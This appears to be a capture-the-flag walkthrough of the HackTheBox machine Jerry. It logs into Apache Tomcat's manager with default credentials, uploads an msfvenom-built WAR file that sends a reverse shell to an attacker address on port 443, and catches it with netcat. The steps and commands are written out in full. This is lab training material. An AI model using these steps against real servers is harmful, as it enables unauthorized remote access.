Jerry
Jerry
Platform: HackTheBox | Difficulty: Easy | OS: Windows Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine Jerry (Windows). Foothold via the vulnerable entry point; privilege escalation to root. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sVC -O 10.10.10.95
| Port | Service | Version | Notes |
|---|---|---|---|
| - | - | - | (ports documented in narrative) |
Enumeration highlights
- Detected OS: Windows.
- Scan used:
nmap -p- -sVC -O 10.10.10.95.
Foothold
Vulnerability / Misconfiguration
- First, let's scan all open ports and services for the host given using nmap.
sudo nmap -p- -sVC -O 10.10.10.95
- Based from the output, there's only 1 port open, so we know what we're going to be attacking (port 8080).
- Since the service is
HTTPhence there must be a web server running. - Based on the service version, we can conclude that it's java web application.
THE WEB APP
-
When i clicked one of these buttons, i prompted to input username and password.
-
Our interest here is the
Manager appso i did a small outsource about APACHE TOMCAT MANAGER DEFAULT CREDS.
https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown
-
Since the default creds not too many, so i bruteforce it every of it.
-
Logged in when i entered the username as
tomcatand the pass ass3cret. -
I think we can utilize this upload file feature.
INFO
In software engineering, a WAR file (Web Application Resource or Web application ARchive) is a file used to distribute a collection of JAR-files,
JavaServer Pages, Java Servlets, Java classes, XML files, tag libraries, static web pages (HTML and related files) and other resources that together
constitute a web application.
- Hence we can upload a WAR file that contains a payload or malicious script/code that can do a reverse shell back to us when we navigate that file.
- Let's use msfvenom.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war > reverseShell.war
-f -> stands for format generator
Reason using port number 443:
The shells actually coming from the target, assume that the connection is going to be made outbound from the target's network, we want to make sure that the outbound connections are not having these super weird destination ports, because that would light up a security anti-virus, if there's an
outbound connection going on port 443 which is simply just https traffic, outbound internets are allowed all the time. Hence it would not trigger the security.
-
Let's upload the war file.
-
When deployed it, it's not actually going to run the reverse shell immediately, we need to browse to it to trigger the actual payload inside and the actual payload stored inside a JSP file inside the war archive.
-
Now to execute our reverse shell, we need to be able to tell where our reverse shell is located at, we need the name of our JSP file which includes our payload inside of the war archive.
-
To identfiy the
.jspfile simply run:
jar tf reverseShell.war
- Now set the reverse shell to listening mode.
nc -lvnp 443
- Now change the url to this:
http://10.10.10.95:8080/reverseShell/xkxgfypqtjsgeby.jsp
-
Great we got the reverse shell back from the machine and now we have persistent access from the target.
-
Let's check our privilege.
-
Great we are root!
-
Now let's list all files and directories.
-
Seems like there's nothing to be our interest here.
-
Let's go back 1 directory.
-
Let's jump to the Users directory.
-
Jump to Administrator.
-
Check what's inside Contacts.
-
Got nothing.
-
Now check Desktop.
-
Nice! Jump to the flags directory.
-
Great, we owned the system and the user!
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
The WAR payload deployed through the Apache Tomcat manager ran with SYSTEM privileges directly, so no separate privilege escalation was required.
Root flag: REDACTED
Flags
| Flag | Value |
|---|---|
| user | REDACTED |
| root | REDACTED |
Lessons Learned
- Enumerate everything; version strings map to CVEs.
- Confirm each hypothesis with a test before building the exploit.
- Chain foothold -> privilege escalation mechanically.